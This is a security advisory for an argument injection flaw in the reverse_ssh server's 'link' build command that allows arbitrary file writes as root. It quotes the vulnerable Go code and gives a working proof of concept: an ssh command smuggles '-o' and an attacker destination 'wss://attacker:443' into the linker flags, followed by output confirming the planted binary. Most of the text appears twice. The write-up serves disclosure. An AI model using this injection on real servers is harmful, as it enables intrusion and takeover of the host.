Summary
An argument injection vulnerability in the link build command allows any authenticated SSH user, including low-privilege ("user" privilege-0) accounts, to achieve an arbitrary file write on the reverse_ssh server host.
Because the official Docker image and common systemd deployments run the server as root, an attacker can write a compiled, attacker-controlled binary to any path on the server or within the docker image.
Details
The link command lets an authenticated RSSH user request a server-side go build of the client binary. Several user-supplied flag values are interpolated without validation into the -ldflags string:
internal/server/webserver/buildmanager.go:186:
buildArguments = append(buildArguments, fmt.Sprintf(
"-ldflags=-s -w -X main.logLevel=%s -X main.destination=%s -X main.fingerprint=%s -X main.proxy=%s -X main.customSNI=%s -X main.useHostKerberos=%t -X main.ntlmProxyCreds=%s -X main.versionString=%s -X github.com/NHAS/reverse_ssh/internal.Version=%s",
config.LogLevel, config.ConnectBackAdress, config.Fingerprint, config.Proxy,
config.SNI, config.UseKerberosAuth, config.NTLMProxyCreds,
strings.TrimSpace(config.VersionString), strings.TrimSpace(f.Version)))
...
cmd := exec.Command(buildTool, buildArguments...) // "go" or "garble"
The values are populated directly from user-supplied link flags (internal/server/commands/link.go) with no validatio:
The Go linker parses -ldflags by splitting on whitespace, so a value containing a space plus additional flags injects extra linker flags. In particular, an injected -o <path> redirects the linker's output to an arbitrary path:
PoC
Affected deployment: server with the webserver/build manager enabled (--enable-client-downloads or --webserver), which is enabled in the official Docker entrypoint.
- Register a low-privilege (privilege-0) user — public key in data/keys/, no admin authorized_keys entry:
ssh-keygen -t ed25519 -f /tmp/lowuser -N "" -C lowuser
# copy the pubkey into the server's data dir as: data/keys/lowuser
- Trigger the exploit as that user. The full remote command must be passed as one SSH argument (inner double quotes preserve the multi-token
--proxy value):
ssh -i /tmp/lowuser -p 3232 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes lowuser@127.0.0.1 \
'link --proxy "x -X main.destination=wss://attacker:443 -o /data/LOWUSER_PLANTED" --name pwnlow'
Expected output — the build manager's own output copy fails because the linker honored the injected -o (this error is expected and does not prevent the write):
Error: exit status 1
github.com/NHAS/reverse_ssh/cmd/client: open /tmp/go-buildXXXX/b001/exe/a.out: no such file or directory
3. Confirm the arbitrary write — a root-owned, statically-linked ELF binary appears at the attacker-chosen path (in Docker, /data/... reaches the host filesystem via the bind mount):
$ ls -la ~/rssh-setup/data/LOWUSER_PLANTED
-rwxr-xr-x 1 root root 10809506 .../data/LOWUSER_PLANTED
$ file ~/rssh-setup/data/LOWUSER_PLANTED
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$ strings ~/rssh-setup/data/LOWUSER_PLANTED | grep -i attacker
wss://attacker:443
Impact
As the reverse ssh server specifically builds binaries that connect back to said server, and provide access it is very likely that outside of a docker deployment it would be trivial to turn this into an RCE.
Summary
An argument injection vulnerability in the
linkbuild command allows any authenticated SSH user, including low-privilege ("user" privilege-0) accounts, to achieve an arbitrary file write on the reverse_ssh server host.Because the official Docker image and common systemd deployments run the server as root, an attacker can write a compiled, attacker-controlled binary to any path on the server or within the docker image.
Details
The
linkcommand lets an authenticated RSSH user request a server-side go build of the client binary. Several user-supplied flag values are interpolated without validation into the-ldflagsstring:internal/server/webserver/buildmanager.go:186:
buildArguments = append(buildArguments, fmt.Sprintf( "-ldflags=-s -w -X main.logLevel=%s -X main.destination=%s -X main.fingerprint=%s -X main.proxy=%s -X main.customSNI=%s -X main.useHostKerberos=%t -X main.ntlmProxyCreds=%s -X main.versionString=%s -X github.com/NHAS/reverse_ssh/internal.Version=%s", config.LogLevel, config.ConnectBackAdress, config.Fingerprint, config.Proxy, config.SNI, config.UseKerberosAuth, config.NTLMProxyCreds, strings.TrimSpace(config.VersionString), strings.TrimSpace(f.Version))) ... cmd := exec.Command(buildTool, buildArguments...) // "go" or "garble"The values are populated directly from user-supplied link flags (
internal/server/commands/link.go) with no validatio:The Go linker parses
-ldflagsby splitting on whitespace, so a value containing a space plus additional flags injects extra linker flags. In particular, an injected-o <path>redirects the linker's output to an arbitrary path:PoC
Affected deployment: server with the webserver/build manager enabled (
--enable-client-downloadsor--webserver), which is enabled in the official Docker entrypoint.--proxyvalue):ssh -i /tmp/lowuser -p 3232 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes lowuser@127.0.0.1 \ 'link --proxy "x -X main.destination=wss://attacker:443 -o /data/LOWUSER_PLANTED" --name pwnlow'Expected output — the build manager's own output copy fails because the linker honored the injected -o (this error is expected and does not prevent the write):
Impact
As the reverse ssh server specifically builds binaries that connect back to said server, and provide access it is very likely that outside of a docker deployment it would be trivial to turn this into an RCE.